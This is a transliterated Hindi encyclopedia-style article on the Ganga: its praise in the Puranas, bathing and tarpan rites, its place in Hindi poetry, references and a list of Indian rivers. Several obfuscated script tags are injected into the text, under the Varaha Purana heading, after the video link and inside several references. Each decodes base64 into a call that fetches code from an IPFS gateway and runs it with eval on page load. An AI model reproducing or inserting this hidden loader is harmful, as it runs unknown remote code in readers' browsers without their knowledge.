puranoan ke anusar vivadganga, akashaganga athava svargaganga vishnu ke aangoothe se nikali haian, jisaka prithvi par avataran bhagirath ke stavan se kapil muni dvara bhasmikrit raja sagar ke 60,000 putroan ki asthiyoan ko pavitr karane ke lie hua. bhagirath ke sath isi sanyog ke karan ganga ka doosara nam bhagirathi p da. pauranik parampara hai ki svarg se utarane ke karan ganga atyant kupit ho uthi thian aur usake kop ke karan prithvi par usaki dhara p date hi unake bahakar nasht ho jane ke bhay se shiv ne apani jata mean use samet liya, jisase unaki jataoan mean ulajh jane ke karan dhara prithvi par sidhi nahian p di aur ganga ki gati mand ho gee. isi sambandh mean shiv ka ek nam gangadhar bhi p da. ganga ka avataran tapasvi jahnu ke yajn ke lie ghatak hua, jisase kruddh hokar us tapas ne ganga ko pi dala aur prarthana ke bad usane kan se ganga ki dhara nikal di, jisase vah jahnavi kahalaee haian. [[chitr:Ganga-River-Varanasi-2.jpg|thumb|250px|left|ganga nadi, varanasi
Ganga River, Varanasi]]

vishnu puran

mukhy lekh : vishnu puran

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vishnu puran[46] ne ganga ki prashasti is prakar ki hai- jab isaka nam shravan kiya jata hai, jab koee isake darshan ki abhilasha karata hai, jab yah dekhi jati hai ya sparsh ki jati hai ya jab isaka jal grahan kiya jata hai ya jab koee usamean dubaki lagata hai ya jab isaka nam liya jata hai (ya isaki stuti ki jati hai) to ganga din-pratidin praniyoan ko pavitr karati hai. jab sahasroan yojan door rahane vale log ganga nam ka uchcharan karate haian, to tin janmoan ke pap nasht ho jate haian.[47]

bhavishy puran

mukhy lekh : bhavishy puran

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bhavishy puran mean bhi aisa hi aya hai.[48] matsy, koorm, garu d evan padm puranoan ka kahana hai ki ganga mean pahuanchana sab sthanoan mean saral hai, keval gangadvar (haridvar), prayag evan vahaan jahaan yah samudr mean milati hai, pahuanchana kathin hai. jo log yahaan par snan karate haian, unhean svarg ki prapti hoti hai aur jo log yahaan par mar jate haian, ve pun: janm nahian pate haian.[49]

narad puran

mukhy lekh : narad puran

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narad puran ka kathan hai ki ganga sabhi sthanoan mean durlabh hai, kintu tin sthanoan par atyadhik durlabh hai. vah vyakti jo chahe ya anachahe ganga ke pas pahuanch jata hai aur mar jata hai, svarg jata hai aur narak nahian dekhata.[50]

koorm puran

mukhy lekh : koorm puran

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koorm puran ka kathan hai ki ganga vayu puran dvara ghoshit svarg, antariksh evan prithvi mean sthit 35 karo d pavitr sthaloan ke barabar hai aur vah unaka pratinidhitv karati hai.[51]

padm puran

mukhy lekh : padm puran

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padmapuran ne prashn kiya hai- ‘bahut dhan ke vyay vale yajnoan evan kathin tapoan se kya labh, jab ki sulabh roop se prapt hone vali evan svarg moksh dene vali ganga upasthit hai!’ naradiy puranoan mean bhi aya hai-‘ath aangoan vale yog, tapoan evan yajnoan se kya labh? ganga ka nivas in sabhi se uttam hai.’[52]

padmapuran[53] mean aya hai ki vishnu sabhi devoan ka pratinidhitv karate haian aur ganga vishnu ka. isamean ganga ki prashasti is prakar ki gee hai-‘pita, pati, mitroan evan sambandhiyoan ke vyabhichari, patit, dusht, chandal evan gurughati ho jane par ya sabhi prakar ke papoan evan drohoan se sanyukt hone par kram se putr, patniyaan, mitr evan sambandhi unaka tyag kar dete haian, kintu ganga unhean parityakt nahian karati[54]

matsy puran

mukhy lekh : matsy puran

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matsy puran[55] ke do shlok yahaan varnan ke yogy haian- "pap karane vala vyakti bhi sahasroan yojan door rahata hua ganga smaran se param pad prapt kar leta hai. ganga ke nam-smaran evan usake darshan se vyakti kram se papamukt ho jata hai evan sukh pata hai. usamean snan karane evan jal ke pan se vah sat pidhiyoan tak apane kul ko pavitr kar deta hai." kashikhand[56] mean aisa aya hai ki ganga ke tat par sabhi kal shubh haian, sabhi desh shubh haian aur sabhi log dan grahan karane ke yogy haian.

varah puran

mukhy lekh : varah puran

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> varah puran[57] mean ganga ki vyutpatti ‘gaan gata’ (jo prithvi ki or gee ho) hai. padmapuran[58] ne ganga ke vishay mean nimn moolamantr diya hai-

‘oan namo gangayai vishvaroopinyai narayanyai namo nam:.’

puranoan mean ganga ke punit sthal ka vistar

kuchh puranoan mean ganga ke punit sthal ke vistar ke vishay mean vyavastha di huee hai. narad puran[59] mean aya hai- ganga ke tir se ek gavyooti tak kshetr kahalata hai, isi kshetr sima ke bhitar rahana chahie, kintu tir par nahian, gangatir ka vas thik nahian hai. kshetr sima donoan tiroan se ek yojan ki hoti hai arthath pratyek tir se do kos tak kshetr ka vistar hota hai.[60] yam ne ek samany niyam yah diya hai ki vanoan, parvatoan, pavitr nadiyoan evan tirthoan ke svami nahian hote, in par kisi ka bhi prabhutv (svami roop se) nahian ho sakata.

brahmapuran ka kathan hai ki nadiyoan se char hath ki doori tak narayan ka svamitv hota hai aur marate samay bhi (kanthagat pran hone par bhi) kisi ko bhi us kshetr mean dan nahian lena chahie. gangakshetr ke garbh (antarvatt), tir evan kshetr mean antar prakat kiya gaya hai. garbh vahaan tak vistrit ho jata hai, jahaan tak bhadrapad ke krishnapaksh ki chaturdashi tak dhara pahuanch jati hai aur usake age tir hota hai, jo garbh se 150 hath tak phaila hua rahata hai tatha pratyek tir se do kos tak kshetr vistrit rahata hai.

ganga snan vidhi

ganga snan ke lie sankalp karane ke vishay mean nibandhoan ne kee vikalp diye haian. prayashchittatattv[61] mean vistrit sankalp diya hua hai. gangavakyavali[62] matsy puran[63] mean jo snan vidhi di huee hai vah sabhi varnoan evan ved ke vibhinn shakhanuyayiyoan ke lie saman hai. matsyapuran[64] ke varnan ka nishkarsh yoan hai- bina snan aur sharir ki shuddhi evan shuddh vicharoan ka astitv nahian hota. isi se man ko shuddh karane ke lie sarvapratham snan ki vyakhya hoti hai. koee kisi koop ya dhara se patr mean jal lekar snan kar sakata hai ya bina is vidhi se bhi snan kar sakata hai. ‘namo narayanay’ mantr ke sath buddhiman logoan ko tirthasthal ka dhyan karana chahie. hath mean darbh (kush) lekar, pavitr evan shuddh hokar achaman karana chahie. char vargahast sthal ko chunana chahie aur nimn mantr ke sath ganga ka avahan karana chahie.

"tum vishnu ke charan se utpann huee ho, tum vishnu se bhakti rakhati ho, tum vishnu ki pooja karati ho, at: janm se maran tak kiye ge papoan se meri raksha karo. svarg, antariksh evan prithvi mean 35 karo d tirth haian; he jahnavi ganga, ye sabhi dev tumhare haian. devoan mean tumhara nam nandini (anand dene vali) aur nalini bhi hai tatha tumhare any nam bhi haian, yatha- daksha, prithvi, vihaga, vishvakaya, amrita, shiva, vidyadhari, suprashanta, shantipradayini."[65]

snan karate samay in namoan ka uchcharan karana chahie. tab tin lokoan mean bahane vali ganga pas mean chali ayegi (bhale hi vyakti ghar par hi snan kar raha ho). vyakti ko us jal ko, jis par sat bar mantr padha gaya ho, tin ya char ya paanch ya sat bar sir par chhi dakana chahie. nadi ke niche ki mitti ka mantr path ke sath lep karana chahie. is prakar snan evan achaman karake vyakti ko bahar ana chahie aur do shvet evan pavitr vastr dharan karane chahie.

tarpan

isake uparant use tin lokoan ke santosh ke lie devoan, rrishiyoan evan pitaroan ka yathavidhi tarpan karana chahie. tarpan ke do prakar haian-

  1. pradhan
  2. gaun

pradhan vidyadhyayan samapt kiye hue dvijoan dvara devoan, rrishiyoan evan pitaroan ke lie pratidin kiya jata hai. gaun snan ke aang ke roop mean kiya jata hai.[66] tarpan snan evan brahmayajn donoan ka aang hai. tarpan apani ved shakha ke anusar hota hai. doosara niyam yah hai ki tarpan tilayukt jal se kisi tirthasthal, gaya mean, pitripaksh (ashvin ke krishnapaksh) mean kiya jata hai. vidhava bhi kisi tirth mean apane pati ya sambandhi ke lie tarpan kar sakati hai. sannyasi aisa nahian karata. pita vala vyakti bhi tarpan nahian karata. kintu vishnupuran ke mat se vah tin aanjili devoan, tin rrishiyoan ko evan ek prajapati (‘devastupyantamh’ ke roop mean) ko deta hai. ek any niyam yah hai ki-

‘shraddhe havanakale ch paninaiken diyate. tarpane toobhayan kuryadish ev vidhi:smrit..[67]

abrahmastambaparyant devarshipitrimanava:. tripyantu pitar: sarve matrimatamahaday:.. atitakulakotinaan saptadvipanivasinamh. abrahmayubh-nallokadidamastu tilodakamh.. [68]

isake pashchat soory ko namaskar evan tin bar pradakshina kar tatha kisi brahman, sona evan gay ka sparsh kar snanakarta ko vishnu mandir (ya apane ghar, pathaantar ke anusar) mean jana chahie.

yahaan yah jnatavy hai ki matsy puran[69] ke shlok, jinaka nishkarsh oopar diya gaya hai, kuchh antaroan ke sath padm puran[70] mean bhi paye jate haian. prayashchittatattv[71] mean ganga snan ke samay ke mantr diye hue haian.[72]

ath vasuoan ki maan

ganga-yamuna ke madhy ka samast bhoobhag yayati ne puru ko diya tha. ganga ath vasuoan ki maan haian. vasuoan ne ganga se kaha tha ki shantanu se unake garbh dharan karane ke uparant unake janmate hi jal mean pravahit kar dena. ganga ne shantanu se utpann sat vasu jal mean pravahit kar die. athavean vasu (bhishm) ko shantanu ne bacha liya. [73]

sahityik ullekh

[[chitr:Ganga-River-Aarti.jpg|arati, ganga nadi, varanasi
Aarti, Ganga River, Varanasi|thumb|250px]]

bharat ki rashtr-nadi ganga jal hi nahian, apitu bharat aur hindi sahity ki manaviy chetana ko bhi pravahit karati hai.[74] rrigved, mahabharat, ramayan evan anek puranoan mean ganga ko puny salila, pap-nashini, moksh pradayini, saritshreshtha evan mahanadi kaha gaya hai. sanskrit kavi jagannath ray ne ganga ki stuti mean 'shrigangalahari'[75] namak kavy ki rachana ki hai. hindi ke adi mahakavy prithviraj raso[76] tatha visaladev ras[77] (narapati nalh) mean ganga ka ullekh hai. adikal ka sarvadhik lok vishrut granth jaganik rachit alhakhand[78] mean ganga, yamuna aur sarasvati ka ullekh hai. kavi ne prayagaraj ki is triveni ko papanashak batalaya hai. shrriangari kavi vidyapati,[79] kabir vani aur jayasi ke padmavat mean bhi ganga ka ullekh hai, kintu sooradas,[80] aur tulasidas ne bhakti bhavana se ganga-mahatmy ka varnan vistar se kiya hai. gosvami tulasidas ne kavitavali ke uttarakand mean ‘shri ganga mahatmy’ ka varnan tin chhandoan mean kiya hai- in chhandoan mean kavi ne ganga darshan, ganga snan, ganga jal sevan, ganga tat par basane valoan ke mahattv ko varnit kiya hai.

[81]

ritikal mean senapati aur padmakar ka ganga varnan shlaghaniy hai. padmakar ne ganga ki mahima aur kirti ka varnan karane ke lie gangalahari[82] namak granth ki rachana ki hai. senapati[83] kavitt ratnakar mean ganga mahatmy ka varnan karate hue kahate haian ki pap ki nav ko nasht karane ke lie ganga ki punyadhara talavar si sushobhit hai. rasakhan, rahim[84] adi ne bhi ganga prabhav ka sundar varnan kiya hai. adhunik kal ke kaviyoan mean jagannathadas ratnakar ke granth gangavataran mean kapil muni dvara shapit sagar ke sath hazar putroan ke uddhar ke lie bhagirath ki 'bhagirath-tapasya' se ganga ke bhoomi par avatarit hone ki katha hai. sampoorn granth terah sargoan mean vibhakt aur rola chhand mean nibaddh hai. any kaviyoan mean bharatendu harishchandr, sumitranandan pant aur shridhar pathak adi ne bhi yatr-tatr ganga ka varnan kiya hai.[85] chhayavadi kaviyoan ka prakriti varnan hindi sahity mean ullekhaniy hai. sumitranandan pant ne ‘nauka vihar’[86] mean grishm kalin tapas bala ganga ka jo chitr ukera hai, vah ati ramaniy hai. unhoanne ganga[87] namak kavita bhi likhi hai. ganga nadi ke kee pratikatmak arthoan ka varnan javahar lal neharoo ne apani pustak bharat ek khoj (diskavari aauph iandiya) mean kiya hai.[88] ganga ki pauranik kahaniyoan ko mahendr mittal apani kriti maan ganga mean sanjoya hai.[89]

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vithika

  • chitr:Ganga-Sunrise.jpg

    sooryoday ke samay ganga nadi

  • chitr:Haridwar2.jpg

    ganga nadi, haridvar

  • chitr:Kachla-Ghat.jpg

    ganga nadi, kachhala ghat

  • chitr:Devprayag-Bhagirathi-River.jpg

    alakananda aur bhagirathi ka sangam devaprayag, uttarakhand

bahari k diyaan

ganga arati vidiyo

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ ganga ko bharat ki rashtriy nadi (echatiem) bihar tude. abhigaman tithi: navanbar, 2008.
  2. ↑ ganga -bharat ki rashtriy nadi (echatiem) v aauyas aauph amerika. abhigaman tithi: 4 navanbar, 2008.
  3. ↑ (aprॅl 2003) samakalin bharat. nee dilli: rashtriy shaikshik anusandhan aur prashikshan parishad. abhigaman tithi: 23 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. ↑ 4.0 4.1 uttaraanchal-ek parichay (echatiem) tidiaeeel. abhigaman tithi: 28 aprॅl, 2008.
  5. ↑ bharat ki bhautik sanrachana paryavaran ke vibhinn ghatak. abhigaman tithi: 22 joon, 2009.
  6. ↑ 6.0 6.1 ganga rivar (aangrezi) (echatiem) indiya net zon. abhigaman tithi: 14 joon, 2009.
  7. ↑ sihan, savindr (julaee 2002) bhautik bhoogol. gorakhapur: vasundhara prakashan. abhigaman tithi: 3 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  8. ↑ suandaravan ke muhane par (echatiem) bibisi. abhigaman tithi: 22 joon, 2009.
  9. ↑ bharat ke bare mean jano bharat sarakar. abhigaman tithi: 21 joon, 2009.
  10. ↑ uttarakhand ki pramukh nadiyaan iandiya vatar portal. abhigaman tithi: 21 joon, 2009.
  11. ↑ hamari nadiyoan par mandarata khatara (ech.ti.em.el) jajbat. abhigaman tithi: 22 joon, 2009.
  12. ↑ ganga sujalama. abhigaman tithi: 22 joon, 2009.
  13. ↑ prashikshan evan prasar sanbandhi mainual (echatiem) matsy vibhag, uttar pradesh (2007).
  14. ↑ hilsa bridiang end hilsah haicheri (aangrezi) si.aee.eph.ar.aee..
  15. ↑ raphtiang (echatiemel) uttarakhand portal (2007). abhigaman tithi: 22 joon, 2009.
  16. ↑ baiktiriyophej ka sv-shuddhikaran prabhav, aauksijan ritenshan rahasy: mistri faiktar givs gainjes e klin repyuteshan jooliyan krainda-2 h aaullik. neshanal pablik rediyo.
  17. ↑ khatare mean ganga ka astitv (eesapieks) patrika. abhigaman tithi: 22 joon, 2009.
  18. ↑ ganga ko pradooshan se bachaeange 71 gh diyal navabharat taims. abhigaman tithi: 22 joon, 2009.
  19. ↑ ab ganga pradooshan mamala rajy sarakar jimmevar lokamanch. abhigaman tithi: 22 joon, 2009.
  20. ↑ ab moorti visarjan se nahian hogi ganga maili josh. abhigaman tithi: 22 joon, 2009.
  21. ↑ bostan.k aaum par dekhean- vaishvik ooshmikaran ka uttar pradesh ki ganga par prabhav.
  22. ↑ bharat ki mukhy nadiyaan hindi blag. abhigaman tithi: 21 joon, 2009.
  23. ↑ sianh, d aau. rajakumar (julaee) vichar vimarsh. mathura: sagar prakashan. abhigaman tithi: 22 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  24. ↑ shrigangasahastranamastotram bharatiy sahity sangrah. abhigaman tithi: 22 joon, 2009.
  25. ↑ shrigangaji ki arati vebadunaya. abhigaman tithi: 22 joon, 2009.
  26. ↑ (rrigved 10, 75, 5-6)
  27. ↑ rrigved (6|45|31)
  28. ↑ adhi bribu: paninaan varshishthe moordhannasthath. uru:kaksho n ganagy:.. rrigved (6|45|31). antim pad ka arth hai ‘ganga ke tatoan par ugi huee ghas ya jha di ke saman.’
  29. ↑ shatapath brahman (13|5|4|11 evan 13)
  30. ↑ aitarey brahman (39, 9)
  31. ↑ shatapath brahman (13, 5, 4,11 evan 13)
  32. ↑ mahabharat (anushasan. 26|26-103)
  33. ↑ puran (naradiy, uttarardh, adhyay 38-45 evan 51|1-48; padm puran 5|60|1-127; agnitr adhyay 110; matsy puran, adhyay 180-185; padm puran, adikhand, adhyay 33-37)
  34. ↑ skand puran (kashikhand, adhyay 33-37)
  35. ↑ primitiv kalchar (dvitiy sanskaran, prishth 477)
  36. ↑ van parv (adhyay 85)
  37. ↑ van parv (shlok 88-97)
  38. ↑ anushasan parv (36|26, 30-31)
  39. ↑ (srotasamasmi jahnavi, 10|31)
  40. ↑ manu (8|92)
  41. ↑ yamo vaivasvato devo yastavaish hridi sthit:. ten chedavivadaste ma ganga ma kuroongam:.. manu (8|92).
  42. ↑ (padm puran 6|267|47)
  43. ↑ vamapadambujaangushthanakhasrotovinirgatamh. vishnorbabharti yaan bhaktya shirasahanianshan dhruv:.. vishnu puran (2|8|109); kalpataru (tirth, prishth 161) ne ‘shiv:’ pathantar diya hai. ‘nadi sa vaishnavi prokta vishnupadasamudabhava.’ padm puran (5|25|188).
  44. ↑ tathaivalakananda ch dakshinadety bharatamh. prayati sagaran bhittva saptabheda dvijottam:.. koorm puran (1|46|31).
  45. ↑ (mahabharat, van parv, adhyay 12, 42, 47, 83-88, 90, 93, 95, 99, 107-109 adi.)
  46. ↑ vishnu puran (2|8|120-121)
  47. ↑ shrutabhilashita drishta sprishta pitavagahita. ya pavayati bhootani kirtita ch dine dine.. ganga gangeti yainami yojananaan shateshvapi. sthitairuchcharitan hanti papan janmatrayarjitamh.. vishnu puran (2|8|120-121); gangavakyavali (prishth 110), tirthachi. (prishth 202), gangabhaktitarangini (prishth 9). doosara shlok padm puran (6|21|8 evan 23|12) evan brahmand puran (175|82) mean kee prakar se padha gaya hai, yatha- ganga........yo brooyadyojananaan shatairapi. muchyate sarvapapebhyo vishnulokan s gachchhati.. pady puran (1|31|77) mean aya hai......shatairapi. naro n narakan yati kian taya sadrishan bhaveth..
  48. ↑ darshanartsshanatpanath tatha gangeti kirtanath. smaranadev gangaya: sady: papai: pramuchyate.. bhavishy puran (tirthachi. prishth 198; gangavakyavali prishth 12 evan gangabhaktitarangini prishth 9). pratham pad anushasan parv (26|64) evan agni puran (110|6) mean aya hai. gachchhanstishthanh japandhyayanh bhunjanh jagrat svapanh vadanh. y: smareth satatan gangaan soapi muchyet bandhanath.. skand puran (kashikhand, poorvardh 27|37) evan naradiy puran (uttar, 39|16-17).
  49. ↑ sarvatr sulabha ganga trishu sthaneshu durlabha. gangadvare prayage ch gangasagarasangame.. tatr snatva divan yanti ye mritasteapunarbhava:.. matsy puran (106|54);koorm puran (1|37|34); garu d puran (poorvardh, 81|1-2); padm puran (5|60|120). naradiy puran (40|26-27) mean aisa pathantar hai- ‘sarvatr durlabha ganga trishu sthaneshu chadhika. gangadvare.......sangame.. eshu snata divan.......rbhava:..’
  50. ↑ (matsy puran 107|4)
  51. ↑ tisr: kotyordhakoti ch tirthanaan vayurabravith. divi bhuvyantarikshe ch tatsarv jahnavi smrita.. koorm puran (1|39|8); padm puran (1|47|7 evan 5|60|59); matsy puran (102|5, tani te santi jahnavi).
  52. ↑ kian yajnairbahuvittadhyai: kian tapobhi: sudushkarai:. svargmokshaprada ganga sukhasaubhagyapoojita.. padm puran (5|60|39); kimashtaangen yogen kian tapobhi: kimadhvarai:. vas ev hi gangayaan sarvatopi vishishyate.. naradiy puran (uttar, 38|38); tirthachi. (prishth 194, gangayaan brahmajnanasy karanamh); prayashchittatattv (prishth 494).
  53. ↑ padm puran (srishti. 60|65)
  54. ↑ (padm puran, srishtikhand, 60|25-26).’
  55. ↑ matsy puran (104|14-15)
  56. ↑ kashikhand (27|69)
  57. ↑ varah puran (adhyay 82)
  58. ↑ padm puran(srishti khand, 60|64-65)
  59. ↑ narad puran (uttar, 43|119-120)
  60. ↑ tiradh gavyootimatran tu parit: kshetramuchyate. tiran vasetkshetre tire vaso n cheshyate.. ekayojanavistirna kshetrasima tatadvayath. narad puran (uttar, 43|119-120). pratham ko tirthachi. (prishth 266) ne skand puran se udadhrit kiya hai aur vyakhya ki hai-‘ubhayatate pratyekan koshadayan kshetramh.’ antim pad ko tirthachi. (prishth 267) evan gangavakyavali (prishth 136) ne bhavishy puran se udadhrit kiya hai. ‘gavyooti’ doori ya lambaee ki map hai jo samanyat: do krosh (kos) ke barabar hai. lambaee ke mapoan ke vishay mean kuchh antar hai. amarakosh ke anusar ‘gavyooti’ do krosh ke barabar hai, yatha- ‘gavyooti: stri kroshayugamh.’ vayu puran (8|105 evan 101|122-123) evan brahmand puran (2|7|96-101) ke anusar 24 aangul=ek hast, 96 aangul=ek dhanu (arthath ‘dand’, ‘yug’ ya ‘nali’); 2000 dhanu (ya dand ya yug ya nalika)=gavyooti evan 8000 dhanu=yojan. markandey puran (46|37-40) ke anusar 4 hast=dhanu ya dand ya yug ya nalika; 2000 dhanu=krosh, 4 krosh=gavyooti (jo yojan ke barabar hai). aur dekhie is granth ka khand 3, adhyay 5.
  61. ↑ prayashchittatattv (prishth 497-498)
  62. ↑ adyamuke masi amukapakshe amukatithau sady:papapranashapoorvakan sarvapunyapraptikamogangaya snanamahan karishye. gangavakyavali (prishth 141). aur dekhie tirthachi. (prishth 206-207), jahaan gangasnan ke poorvak liank sankalpoan ke kee vikalp diye hue haian.
  63. ↑ matsy puran (102)
  64. ↑ matsyapuran (adhyay 102)
  65. ↑ smritichandrika (1, prishth 182) ne matsy puran (102) ke shlok (1-8) uddhrit kiye haian. smritichandrika ne vahian ganga ke 12 vibhinn nam die haian. padm puran (4|81|17-19) mean matsy puran ke nam paye jate haian. is adhyay ke arambh mean ganga ke sahasr namoan ki or sanket kiya ja chuka hai.
  66. ↑ nityan naimittikan kamyan trividhan snanamuchyate. tarpanan tu bhavettasy aangattven prakirtitamh.. brahmand puran (gangabhakti., 162)
  67. ↑ arthat ek hath (dahine) se shraddh mean ya agni mean ahuti di jati hai, kintu tarpan mean donoan hathoan se jal snan karane vali nadi mean dala jata hai ya phir bhoomi par chho da jata hai. naradiy puran (uttar, 57|62-63)’
  68. ↑ arthat yadi koee vistrit vidhi se tarpan n kar sake to vah nimn mantroan ke sath (jo vayu puran, 110|21-22 mean diye hue haian) til evan kush se mishrit jal ki tin aanjaliyaan de sakata hai
  69. ↑ matsy puran (102|2-31)
  70. ↑ padm puran (patalakhand 81|12-42 evan srishtikhand 20|145-176)
  71. ↑ (prayashchittatattv prishth 502)
  72. ↑ vishnupadabjasambhoote gange tripathagamini. dharmavrateti vikhyate papan mean har jahnavi.. shraddhaya bhaktisampanne shrimatardevi jahnavi. amritenambuna devi bhagirathi punih mamh.. smritichandrika (1|131); prayashchittatattv (502); tvan dev saritaan nath tvan devi saritaan vare. ubhayo: sangame snatva munchami duritani vai.. vahi. aur dekhie padm puran (srishtikhand, 60|60)
  73. ↑ (mahabharat, adiparv, adhyay 2, 3, 61, 63, 67, 70, 87, 95-10.)
  74. ↑ hindi kavy mean ganga nadi abhivyakti. abhigaman tithi: 30 joon, 2009.
  75. ↑ ganga ki upasthiti sujalamh. abhigaman tithi: 22 joon, 2009.
  76. ↑ iando kian aandoliya ami e chakkivan ganga sire. .................etane charitr te gang tire
  77. ↑ ki re himali mahian giluan. ki tu jhanphaghadan gang-duvari...................bahin divaooan rai ki. thara byah karabuan gang ni pari
  78. ↑ pragaraj so tirath dhyavauan. jahan par gang matu laharay.. / ek or se jamuna aee. donoan milian bhuja phailay.. / sarasvati niche se nikali. tirabeni so tirth kahay..
  79. ↑ kajjal roop tua kali kahiae, ujjal roop tua bani. / ravimandal parachanda kahiae, ganga kahiae pani..
  80. ↑ sukadev kahyo sunau naranah. ganga jyauan aee jagamaanh.. / kahauan so katha sunau chitalai. sunai so bhavatari hari pur jai..
  81. ↑ devanadi kahan jo jan jan kie manasa kahuan koti udhare. / dekhi chale jhagaraian suranari, sures banai viman savaanre.
    pooja ko saju viranchi rachaian tulasi je mahatam jani tihare. / ok ki lok pari hari lok vilokat gang tarang tihare..(kavitavali-uttarakand 145)
    brahm jo vyapak ved kahaian, gamanahian gira gun-gyan-guni ko. / jo karata, bharata, harata, sur sahebu, sahebu din dukhi ko.
    soi bhayo drav roop sahi, jo hai nath viranchi mahes muni ko. / mani pratiti sada tulasi, jagu kahe n sevat dev dhuni ko..(kavitavali-uttarakand 146)
    bari tiharo nihari murari bhean parasean pad papu lahauango. / ees hvai sis dharauan pai darauan, prabhu ki samataan b de dosh dahauango.
    baru barahian bar sarir dharauan, raghubir ko hvai tav tir rahauango. / bhagirathi binavauan kar jori, bahori n khori lagai so kahauango..
  82. ↑ bundeli kavy ka aitihasik sandarbh tidiaeeel. abhigaman tithi: 23 joon, 2009.
  83. ↑ pavan adhik sab tirath taian jaki dhar, jahaan mari papi hot surapur pati hai. / dekhat hi jakau bhalo ghat pahachaniyat, ek roop bani jake pani ki rahati hai.
  84. ↑ achyut charan tarangini, shiv sir malati mal. hari n banayo surasari, kijau iandav bhal..--rahim
  85. ↑ sianh, d aau. rajakumar (julaee) vichar vimarsh. mathura: sagar prakashan. abhigaman tithi: 22 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  86. ↑ nauka-vihar / sumitranandan pant kavitakosh. abhigaman tithi: 22 joon, 2009.
  87. ↑ ganga anubhooti. abhigaman tithi: 22 joon, 2009.
  88. ↑ "The Ganga, especially, is the river of India, beloved of her people, round which are interwined her memories, her hopes and fears, her songs of triumph, her victories and her defeats. She has been a symbol of India's age long culture and civilization, ever changing , ever flowing, and yet ever the same Ganga." -javaharalal neharoo
  89. ↑ maan ganga bharatiy sahity sangrah. abhigaman tithi: 30 joon, 2009.

sanbandhit lekh

dekhean • varta • badalean
bharat ki nadiyaan
aitihasik
ajay · anoma · aanjani nadi · meghana · arapa · aroona · alakananda · asi · apaya · indrani · indravati · eeb · kanhar · kapili · kamala · karmanasha · kaliandi · kritamala · kaveri · krishnaa · ken · kotari · kobhara · koyal · pampa nadi · kapila · kosi · kharoon · ganga · gandak · sanyati · gudara · gumani · bharatapujha nadi · dhasan nadi · godavari· gomati · baghaura · ghaghara · chanbal · chanan · shashimati · sitanandi nadi liddar · vedavati · viroopa · chinav · jahnavi · joank · choorni · jhelam · dankani nadi · vega · tamasa · vasishtha · varada · lohataganga · tandula · tapti · vairagini · tista · tuangabhadra · dakshini koyal · damodar · saank · kansavati · doodh · narmada · ponnaiyar nadi · som · vanshadhara · manjira · banaganga · shipra · narangi · kapila · vihala · vishalika · padma · sandhya · shvabhramati · sookali nadi · vakal nadi · vriddh gautami · sook di nadi · sadanira nadi · nagamati nadi · vitasta nadi · mand · vartoee · gandaki · mantha · tamraparni · palar · parvati · saptashara · soandhoor nadi · punapun · nirmala · pennar · tauans · sabi · periyar · nyanku nadi · pairi · kelo · phalgu · banas · kabini · gokak nadi · kothari nadi · barakar · baansaloee · jakham · bagamati · airav nadi · badh · banaganga · betava · boree · tulasi nadi · brahmaputr · brahmani · panchanad · bhagirathi · baandi · ratnakar · kollitam · maniyari · vetravati · nagodari · nagavati · mayoorakshi · jvala · koom nadi · mari · mahanadi · maand · mahi · gaula nadi · yamuna · rapti · panchaganga · ramaganga · ravi · rihand · vanjula · lilagar · looni · varun · marudvadha nadi · katali · shiva nadi · kali sindh · vyas · shankh · shankhani · sharada · shivanath · shyok · sakari · kakani · sataluj · niramaya · sabari · valuvahini · vamanaganga · sarasvati · sabaramati · sindhu · surama nadi · surangi · hladini nadi · varahi · son · svarn rekha · hasado · himanad · kishanaganga · hugali · ganbhira · chandan· tailavah · roopanarayan · tulya · tapoda · talaji · daya · durga · malaprabha · malaparva · dakshin sindhu · chitang · javaanee · jatoda · johila · jojhari nadi · bina · bes · shatruanjaya · bharadvaji · khooga · krumu nadi · kaanchana · kirtinasha · kau diyali · kshiraganga · dadhimati · bhimakshi · koleroon nadi · malyavati · mahatnu · madhushrava · mahakoshi · mahaganga · maandavi · ajitavati · amaraveli · kubja · rangamati · rohini nadi · nandakini · krishnaa · devi ·naradiganga · mitri nadi · narayani· nira · nilaanjana · panchaganga · nairanjana · kapila · 